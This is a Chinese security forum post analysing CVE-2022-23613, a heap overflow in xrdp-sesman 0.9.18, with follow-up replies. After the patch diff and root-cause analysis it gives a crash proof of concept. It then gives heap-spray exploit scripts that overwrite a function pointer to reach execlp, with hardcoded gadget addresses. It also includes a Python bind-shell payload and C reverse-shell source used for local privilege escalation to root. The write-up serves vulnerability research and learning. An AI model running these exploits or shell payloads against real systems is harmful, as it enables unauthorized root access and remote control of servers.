首页
社区
课程
招聘
[原创]CVE-2022-23613复现与漏洞利用可能性尝试
2022-10-23 19:21 17243

[原创]CVE-2022-23613复现与漏洞利用可能性尝试

2022-10-23 19:21
17243

CVE-2022-23613复现与漏洞利用可能性

因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。

 

漏洞编号为 CVE-2022-23613,现已公开了相关信息。该漏洞作为一个运行在 root 权限下的 RDP 服务,由于该漏洞最终能够导致任意代码执行,因此笔者打算以提权作为最终的利用目标。

若本文存在任何纰漏,请务必与我联系,我会尽快修正本文内容。

复现环境

1
2
3
4
xrdp-sesman 0.9.18
  The xrdp session manager
  Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
  See https://github.com/neutrinolabs/xrdp for more information.

该项目的开源地址:https://github.com/neutrinolabs/xrdp

漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static int
sesman_data_in(struct trans *self)
{
+ #define HEADER_SIZE 8
    int version;
    int size;
 
    if (self->extra_flags == 0)
    {
        in_uint32_be(self->in_s, version);
        in_uint32_be(self->in_s, size);
-        if (size > self->in_s->size)
+        if (size < HEADER_SIZE || size > self->in_s->size)
        {
-            LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");
+            LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size);
            return 1;
        }
        self->header_size = size;
@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self)
            return 1;
        }
        /* reset for next message */
-        self->header_size = 8;
+        self->header_size = HEADER_SIZE;
        self->extra_flags = 0;
        init_stream(self->in_s, 0); /* Reset input stream pointers */
    }
    return 0;
+ #undef HEADER_SIZE
}
 
/******************************************************************************/

从已公开的 Patch 可以看出,它添加了一个对 size 变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
else /* connected server or client (2 or 3) */
{
    if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
    {
    }
    else if (self->trans_can_recv(self, self->sck, 0))
    {
        cur_source = XRDP_SOURCE_NONE;
        if (self->si != 0)
        {
            cur_source = self->si->cur_source;
            self->si->cur_source = self->my_source;
        }
        read_so_far = (int) (self->in_s->end - self->in_s->data);
        to_read = self->header_size - read_so_far;
 
        if (to_read > 0)
        {
            read_bytes = self->trans_recv(self, self->in_s->end, to_read);

查找 self->header_size 的引用,可以发现该变量将与 self->trans_recv 的参数间接相关,而该函数类似于 read 的作用,将 self 相关的套接字中读取 to_read 个字符到 self->in_s->end

 

而该缓冲区来自于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct trans *
trans_create(int mode, int in_size, int out_size)
{
    struct trans *self = (struct trans *) NULL;
 
    self = (struct trans *) g_malloc(sizeof(struct trans), 1);
 
    if (self != NULL)
    {
        make_stream(self->in_s);
        init_stream(self->in_s, in_size);
        make_stream(self->out_s);
        init_stream(self->out_s, out_size);
        self->mode = mode;
        self->tls = 0;
        /* assign tcp calls by default */
        self->trans_recv = trans_tcp_recv;
        self->trans_send = trans_tcp_send;
        self->trans_can_recv = trans_tcp_can_recv;
    }
 
    return self;
}
1
2
3
4
5
6
7
8
9
10
11
12
#define init_stream(s, v) do \
    { \
        if ((v) > (s)->size) \
        { \
            g_free((s)->data); \
            (s)->data = (char*)g_malloc((v), 0); \
            (s)->size = (v); \
        } \
        (s)->p = (s)->data; \
        (s)->end = (s)->data; \
        (s)->next_packet = 0; \
    } while (0)

可以看见,该缓冲区会通过 g_malloc 创建在堆上,那么只要 to_read 的值超出了堆的原始大小,就有可能造成堆溢出了:

1
g_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);

从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int
trans_check_wait_objs(struct trans *self)
{
    ......
    if (self->type1 == TRANS_TYPE_LISTENER) /* listening */
    {
        ......
    }
    else /* connected server or client (2 or 3) */
    {
        if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
        {
        }
        else if (self->trans_can_recv(self, self->sck, 0))
        {
            cur_source = XRDP_SOURCE_NONE;
            if (self->si != 0)
            {
                cur_source = self->si->cur_source;
                self->si->cur_source = self->my_source;
            }
            read_so_far = (int) (self->in_s->end - self->in_s->data);
            to_read = self->header_size - read_so_far;
 
            if (to_read > 0)
            {
                read_bytes = self->trans_recv(self, self->in_s->end, to_read);
                ......
            }
        ......
    }
 
    return rv;
}

如果创建的类型不为 TRANS_TYPE_LISTENER ,那么该连接就会调用 self->trans_recv 将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size 可能是负数的情况,因此可以令 to_read 通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。

 

POC:

1
2
3
4
5
6
7
8
9
10
11
import socket
import struct
if __name__ == "__main__":
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",3350))
    sdata = b''
    sdata += struct.pack("I",0x2222CCCC) #version
    sdata += struct.pack(">I",0x80000000) #headersize
    s.send(sdata)
    sdata = b'a'*0x10000  #padding
    s.send(sdata)

漏洞利用

回顾一下刚刚的 trans_create 可以发现:

1
2
3
4
5
6
7
8
9
10
11
12
struct trans *
trans_create(int mode, int in_size, int out_size)
{
    struct trans *self = (struct trans *) NULL;
 
    self = (struct trans *) g_malloc(sizeof(struct trans), 1);
    ......
        self->trans_recv = trans_tcp_recv;
        self->trans_send = trans_tcp_send;
        self->trans_can_recv = trans_tcp_can_recv;
    return self;
}

struct trans self 结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv 偏移处的值为一个类似 system 的函数来进行任意命令执行。

 

通过 IDA 搜索可以找到如下两个函数:

1
2
extern:00000000004105D8                 extrn g_execvp:near
extern:0000000000410658                 extrn g_execlp3:near

这两个命令分别是 execvpexeclp 的包装,函数实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
g_execvp(const char *p1, char *args[])
{
    ......
    args_len = 0;
    while (args[args_len] != NULL)
    {
        args_len++;
    }
    g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);
 
    g_rm_temp_dir();
    rv = execvp(p1, args);
    ......
}
 
int
g_execlp3(const char *a1, const char *a2, const char *a3)
{
    ......
    g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);
    ......
    g_rm_temp_dir();
    rv = execlp(a1, a2, a3, (void *)0);
    ......
}

因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:

1
2
3
4
5
6
7
#include<stdlib.h>
int main()
{
    char ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");";
    execlp("python3","python3",ars2,0);
    return 0;
}

这个格式就比较像 g_execlp3 的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。

参数控制的难点

1
read_bytes = self->trans_recv(self, self->in_s->end, to_read);

假设我们令 self->trans_recvg_execlp3 ,那么我们就需要令 self 指向 “python3”,self->in_s->end 也是一个指向 “python3” 字符串的指针,以及 to_read 必须为一个指向参数的指针。

 

通过 IDA 搜索二进制程序中的字符串可以发现,唯一一个或许能用的字符串只有 "/bin/sh",因此所有的参数字符串都需要我们一起放在 payload 中输入到内存里去才行。

 

但是有与常规的 CTF PWN 题不同的是,用户通过 socket 进行交互,泄露地址是一件比较麻烦的事情,大部分情况下甚至连回显都拿不到,更何况就算有办法拿到回显,泄露地址的参数也仍然需要控制,因此又要绕回到这个问题上,因此只好考虑如何在无地址的情况下完成利用。

覆盖结构体的细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
struct trans
{
    tbus sck; /* socket handle */
    int mode; /* 1 tcp, 2 unix socket, 3 vsock */
    int status;
    int type1; /* 1 listener 2 server 3 client */
    ttrans_data_in trans_data_in;
    ttrans_conn_in trans_conn_in;
    void *callback_data;
    int header_size;
    struct stream *in_s;
    struct stream *out_s;
    char *listen_filename;
    tis_term is_term; /* used to test for exit */
    struct stream *wait_s;
    char addr[256];
    char port[256];
    int no_stream_init_on_data_in;
    int extra_flags; /* user defined */
    struct ssl_tls *tls;
    const char *ssl_protocol; /* e.g. TLSv1, TLSv1.1, TLSv1.2, unknown */
    const char *cipher_name;  /* e.g. AES256-GCM-SHA384 */
    trans_recv_proc trans_recv;//0x280
    trans_send_proc trans_send;
    trans_can_recv_proc trans_can_recv;
    struct source_info *si;
    enum xrdp_source my_source;
};

self 是一个 struct trans ,为了触发 self->trans_recv ,我们需要先通过几个检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int
trans_check_wait_objs(struct trans *self)
{
    ......
    if (self->status != TRANS_STATUS_UP)
    {
        return 1;
    }
    rv = 0;
    if (self->type1 == TRANS_TYPE_LISTENER) //<------ false
    {
        ......
    }
    else /* connected server or client (2 or 3) */
    {
        if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
        {
        }
        else if (self->trans_can_recv(self, self->sck, 0))
        {
            cur_source = XRDP_SOURCE_NONE;
            if (self->si != 0)
            {
                cur_source = self->si->cur_source;
                self->si->cur_source = self->my_source;
            }
            read_so_far = (int) (self->in_s->end - self->in_s->data);
            to_read = self->header_size - read_so_far;
 
            if (to_read > 0)
            {
                read_bytes = self->trans_recv(self, self->in_s->end, to_read);
                ......
}
  • self->status 必须固定为 TRANS_STATUS_UP
  • self->type1 不可为 TRANS_TYPE_LISTENER
  • self->trans_can_recv 返回非 0 值
  • self->si 非 0

可以注意到,由于 self->status 的值是固定的,因此 self 为字符串时,只有前几个字符可以控制,不过看起来似乎还是够写至少八个字符的,因此第一个参数似乎可以稳定传参。

 

但是正如刚刚所说,另外两个参数的控制就显得有些麻烦了。

 

首先是 self->in_s->end,这意味着需要先覆盖 self->in_starget_addr-end_offset

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct stream
{
    char *p;
    char *end;
    char *data;
    int size;
    int pad0;
    /* offsets of various headers */
    char *iso_hdr;
    char *mcs_hdr;
    char *sec_hdr;
    char *rdp_hdr;
    char *channel_hdr;
    /* other */
    char *next_packet;
    struct stream *next;
    int *source;
};

也就是说,需要它是一个地址,而现在我们似乎没办法泄露随机的堆地址。

 

第二个是 to_read 函数,它通过两行代码计算得出:

1
2
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;

控制 to_read 并不困难,假设我们需要它指向一个堆,由于堆地址总是小于 0x80000000,因此它是一个正数能够被保证,其次,self->header_size 能够被任意控制,因此控制其值本身是容易的,但是问题还是一样的,堆地址怎么来?

 

另外还有一个需要注意的点是,为了调用 self->trans_recv 需要先通过 self->trans_can_recv ,由于 self 结构体已经被覆盖,该函数是有一定可能调用失败的,该函数的实际实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int
g_sck_can_recv(int sck, int millis)
{
    fd_set rfds;
    struct timeval time;
    int rv;
 
    g_memset(&time, 0, sizeof(time));
    time.tv_sec = millis / 1000;
    time.tv_usec = (millis * 1000) % 1000000;
    FD_ZERO(&rfds);
 
    if (sck > 0)
    {
        FD_SET(((unsigned int)sck), &rfds);
        rv = select(sck + 1, &rfds, 0, 0, &time);
 
        if (rv > 0)
        {
            return 1;
        }
    }
 
    return 0;
}

由于我们完全不关心该函数的功能逻辑,笔者在构造 exp 时候打算令其直接恒真:

1
0x0000000000405464 : or al, 0x89 ; ret

注意到程序有这么一个 gadget 可以利用,因此我们将该函数指针覆盖为该 gadget 时即可绕过检查。

堆喷的可能性

您可能会注意到,每次初始化输入缓冲区和输出缓冲区时,都建立了 0x2000 大小的缓冲区,这个值并不小,那么如果多建立几个连接,是否就能够像堆喷那样完成利用呢?

1
2
3
4
5
6
7
/**
 * Maximum number of short-lived connections to sesman
 *
 * At the moment, all connections to sesman are short-lived. This may change
 * in the future
 */
#define MAX_SHORT_LIVED_CONNECTIONS 16

可以看见,此处的 MAX_SHORT_LIVED_CONNECTIONS 较小,它只允许我们最多保持 16 个连接,生成的堆内存如下:

1
2
3
4
5
6
7
8
9
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x403000 r--p     3000 0      /usr/local/sbin/xrdp-sesman
          0x403000           0x40b000 r-xp     8000 3000   /usr/local/sbin/xrdp-sesman
          0x40b000           0x40f000 r--p     4000 b000   /usr/local/sbin/xrdp-sesman
          0x40f000           0x410000 r--p     1000 e000   /usr/local/sbin/xrdp-sesman
          0x410000           0x411000 rw-p     1000 f000   /usr/local/sbin/xrdp-sesman
          0x65b000           0x6a7000 rw-p    4c000 0      [heap]
          0x6a7000           0x6c8000 rw-p    21000 0      [heap]

总共的堆内存大小为 0x6D000,考虑到堆一开始就有一部分被用于其他用途,笔者最终算出来的堆内存可用大小最多为 0x5b0b8,而堆的地址大概在 0x0300000~0x3500000

这个数值是笔者在调试过程中根据印象猜出来的,实际还是要以源代码为准,但笔者在这里想要表达的意思是,强行堆喷的成功率不高,粗算一下大概是 0.7112884521484375%(原神单抽一个五星的感觉)

 

但其实还不只是如此,因为强行堆喷需要布置的内容是参数+地址,大致结构如下:

1
args_str1 | args_str2 | args_str1_addr | args_str2_addr

而您需要保证的是:

  • self->in_s 能够指向 args_str1_addr-8
  • 以及 args_str1_addr 能够指向 args_str1

如果您能够保证以上两点,args_str2_addr 由于可以通过偏移算出,因此几乎必中,to_read 参数也可以通过偏移算出,也能够保证几乎必中。

 

但您也发现了,这需要碰撞两次地址,对本就不太容易成功的条件更是雪上加霜。看起来似乎需要优化一下堆喷的思路才能够完成。

对堆喷思路的优化

注:以下内容是笔者在尝试时的一种猜测,它没能成功,但笔者仍然写在这里,期望与各位师傅们探讨它的可行性。可能已经有过这样的技巧了,但作为一次学习记录,姑且写下吧。

 

因为一开始我们是将输入的结构作为一个整体进行地址碰撞,但似乎可以拆分一下来提高成功率。

 

结构一为:

1
args_str1 | args_str2

结构二为:

1
args_str1_addr | args_str2_addr

也就是说,将字符串和指向字符串的地址拆分开,分别用两个结构去填充内存。

 

看起来似乎没有差别,但是由于 Glibc 管理的堆内存是一个线性结构,这意味着 args_str1args_str1_addr 是可以有一个较为稳定的相对偏移的(这个偏移会浮动,但笔者认为浮动不大,只要字符串结构布置的足够密集,理论上会更容易命中一点)。

 

那么情况就会变成:如果 self->in_s 命中了 args_str1_addr-8 ,那么, args_str1_addrargs_str1+offset ,理论上也有不小的概率能够命中。

 

这么来看,似乎将本来需要碰撞两次的地址优化为了只 需要碰撞一次+一个中概率事件发生

在 16 个连接的条件下,由于堆的大小较小,因此笔者没能成功,但是如果我们调大了这块内存,允许建立大约 100 个连接左右的情况下,堆的内存会骤增。笔者最后测试的结果大约是 10% 左右的碰撞命中率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import socket
import struct
import time
def pack_addr():
    sdata=b"python3\x00-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\"sh\");\x00"
    return sdata
 
def pack_addr2():
    sdata = b"\xf0\x93\x0a\x02\x00\x00\x00\x00"
    sdata = b"\xf8\x93\x0a\x02\x00\x00\x00\x00"
    return sdata
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",3350))
 
# padding args_str
con_list=[0]*300
for i in range(14):
    con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    con_list[i].connect(("127.0.0.1",3350))
    sdata = b''
    sdata += struct.pack("I",0x2222CCCC) #version
    sdata += struct.pack(">I",0x80000000) #headersize
    con_list[i].send(sdata)
    sdata = pack_addr()*0xd0
    con_list[i].send(sdata)
 
con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[14].connect(("127.0.0.1",3350))
con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[15].connect(("127.0.0.1",3350))
 
x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
x.connect(("127.0.0.1",3350))
 
# padding args_str_addr
con_list2=[0]*300
def heap_spary(x,y):
    for i in range(x,y):
        con_list2[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        con_list2[i].connect(("127.0.0.1",3350))
        sdata = b''
        sdata += struct.pack("I",0x2222CCCC) #version
        sdata += struct.pack(">I",0x80000000) #headersize
        con_list2[i].send(sdata)
        sdata = pack_addr2()*0x3f0
        con_list2[i].send(sdata)
        time.sleep(0.05)
 
heap_spary(0,50)
heap_spary(50,100)
heap_spary(100,150)
 
#init stream
sdata = b''
sdata += struct.pack("I",0x2222CCCC)
sdata += struct.pack(">I",0x80000000)
con_list[15].send(sdata)
sdata = b'D'*0x10
con_list[15].send(sdata)
 
# heap_overflow
sdata = b''
sdata += struct.pack("I",0x2222CCCC)
sdata += struct.pack(">I",0x80000000)
con_list[14].send(sdata)
sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"/tmp/x\x00\x00"+b"\x01\x00\x00\x00"*2
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\xf0\x93\x3a\x02\x00\x00\x00\x00"
sdata+=b"P"*0x240+b"\xf0\x3b\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00"
con_list[14].send(sdata)
 
# trigger execlp
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00" #headersize
con_list[15].send(sdata)

大致的 exp 如上,先将参数打入到堆内存的首部,然后再往之后的堆内存里去堆字符串的地址。最后在覆盖 self->in_s 时候用一个堆地址去撞。

第二法与例外

在堆喷失败以后,笔者又试了一下其他的方法,最终认为,如果我们只需要在本机上进行提权,完全不需要这么麻烦去构造一个 execlp 的调用链。

 

首先,我们可以先写一个用于反弹 shell 的程序,用静态编译的方法将其编译到 ”/tmp/x“:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
char shell[]="/bin/sh";
char message[]="hi hacker welcome";
int sock;
int main(int argc, char *argv[]) {
    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    printf("Couldn't make socket!n"); exit(-1);
    }
 
    server.sin_family = AF_INET;
    server.sin_port = htons(atoi("10000"));
    server.sin_addr.s_addr = inet_addr("0.0.0.0");
 
    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
    printf("Could not connect to remote shell!n");
    //exit(-1);
    //    return -1;
        exit(-1);
    }
    send(sock, message, sizeof(message), 0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
    }
    void usage(char *prog[]) {
    printf("Usage: %s <reflect ip> <port>\n", prog);
    //exit(-1);
    //    return -1;
        exit(-1);
}

接下来我们令服务调用如下函数:

1
2
3
4
5
6
7
8
9
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
 
int main()
{
    int a=execlp("/tmp/x",0,0,(void*)0);
    return 0;
}

后两个参数是完全随意的,不管是什么,只要是合法参数都行,或者:

1
2
3
4
5
6
7
8
#include<stdlib.h>
#include <errno.h>
#include <stdio.h>
int main()
{
    int a=execvp("/tmp/x",0);
    return 0;
}

对于 execlp 的情况,由于服务中使用的实际上是 g_execlp3 ,因此我们需要保证第二和第三个参数是可解析的,只要它们是可解析的,那么为任意值都行。

 

而对于第二个情况,我们只需要令第二个参数为 0 即可,不过在该服务中,其实际实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int
g_execvp(const char *p1, char *args[])
{
    int rv;
    char args_str[ARGS_STR_LEN];
    int args_len;
 
    args_len = 0;
    while (args[args_len] != NULL)
    {
        args_len++;
    }
 
    g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len);
 
    LOG(LOG_LEVEL_DEBUG,
        "Calling exec (excutable: %s, arguments: %s)",
        p1, args_str);
 
    g_rm_temp_dir();
    rv = execvp(p1, args);
 
    /* should not get here */
    LOG(LOG_LEVEL_ERROR,
        "Error calling exec (excutable: %s, arguments: %s) "
        "returned errno: %d, description: %s",
        p1, args_str, g_get_errno(), g_get_strerror());
 
    g_mk_socket_path(0);
    return rv;
#endif
}

self->in_s->end 为 0 将会失败,因为 args[args_len] 会引用错误的地址。因此最好的办法是找一个地方,让 self->in_s->end 能够指向 0 。

 

这似乎是有可能实现的,而且即便我们找不到任何指向 0 的指针,只要能有一片连续的地址保持如下结构就行了:

1
addr1 | addr2 | addr3 | 0

甚至于,直接尝试堆喷去撞那个将近 1% 的概率似乎也不是不能接受。

 

加之第一个参数是稳定控制的,尽管能写的字符数不多,但 ”/tmp/x“ 总共也不到八字节,绰绰有余。

 

这么一看,似乎对参数就有很多余裕了,只要参数符合调用规则,任意参数都可以。因此接下来就只剩下找到一个合适的地址作为参数去构造了。

 

最后的 EXP 结构大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import socket
import struct
import time
 
def pack_addr2():
    sdata = b"\xba\xc9\x40\x00\x00\x00\x00\x00"
    return sdata
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",3350))
 
con_list=[0]*300
for i in range(12):
    con_list[i] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    con_list[i].connect(("127.0.0.1",3350))
    sdata = b''
    sdata += struct.pack("I",0x2222CCCC)
    sdata += struct.pack(">I",0x80000000)
    con_list[i].send(sdata)
    sdata = pack_addr2()*0x3f0
    con_list[i].send(sdata)
    time.sleep(0.05)
 
con_list[14] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[14].connect(("127.0.0.1",3350))
con_list[15] = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
con_list[15].connect(("127.0.0.1",3350))
 
x = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
x.connect(("127.0.0.1",3350))
 
 
# init stream
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[15].send(sdata)
sdata = b'D'*0x10
con_list[15].send(sdata)
 
# heap overflow
sdata = b''
sdata += struct.pack("I",0x2222CCCC) #version
sdata += struct.pack(">I",0x80000000) #headersize
con_list[14].send(sdata)
sdata = b'C'*0x4140+b"\xb1\x02\x00\x00\x00\x00\x00\x00"+b"/tmp/x\x00\x00"+b"\x01\x00\x00\x00"*2
sdata+=b"\x02\x00\x00\x00\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\x00\x00\x00\x00\x00\x00\x00\x00"
sdata+=b"\x00\x00\x00\x7f\x00\x00\x00\x00"+b"\xba\xc9\x40\x00\x00\x00\x00\x00"+b"\xf0\x93\x3a\x02\x00\x00\x00\x00"
sdata+=b"P"*0x240+b"\xf0\x3b\x40\x00\x00\x00\x00\x00"+b"\xf0\x3a\x40\x00\x00\x00\x00\x00"
sdata+=b"\x64\x54\x40\x00\x00\x00\x00\x00"
con_list[14].send(sdata)
 
# trigger execlp
sdata = b''
sdata += struct.pack("I",0x2222CCCC)
sdata += b"\x58\x01\xda\x00\x00\x00\x00\x00"
con_list[15].send(sdata)

这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。

如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞9
打赏
分享
最新回复 (5)
雪    币: 12744
活跃值: (16282)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 10 2022-10-24 15:05
2
0
辛苦师傅,思考的过程很精彩,值得大家好好学习一下~
雪    币: 161
活跃值: (359)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
twe 2022-10-25 16:23
3
0
这个能远程利用吗?
雪    币: 7716
活跃值: (5737)
能力值: ( LV12,RANK:418 )
在线值:
发帖
回帖
粉丝
Tokameine 3 2022-10-25 22:05
4
0
twe 这个能远程利用吗?
至少本文所说的方法不太适合远程。堆喷失败肯定会导致程序崩溃的,一般要重启服务然后多次碰撞。
雪    币: 264
活跃值: (184)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
wx_sw 1 2022-10-27 15:15
5
0
这个洞刚好在今年 QWB Final 作为题目出现过, https://bestwing.me/2022-QWB-Final-RealWorld-Challenge-Writeup.html#RDP

然后这个题目的作者也是提高了链接的次数, 然后目前也没找到一个限制了次数后能利用的方法。
雪    币: 7716
活跃值: (5737)
能力值: ( LV12,RANK:418 )
在线值:
发帖
回帖
粉丝
Tokameine 3 2022-12-2 12:34
6
0
wx_sw 这个洞刚好在今年 QWB Final 作为题目出现过, https://bestwing.me/2022-QWB-Final-RealWorld-Challenge-Writeup.html#RDP ...
https://bbs.pediy.com/thread-274982.htm
这个问题我在今年的KCTF2022秋季赛提交了对应解法作为赛题。
该题目已被多为师傅攻破了,师傅可以看看几位师傅的wp和我自己的解法。
(题目为限制次数且处于远程环境下的利用)
游客
登录 | 注册 方可回帖
返回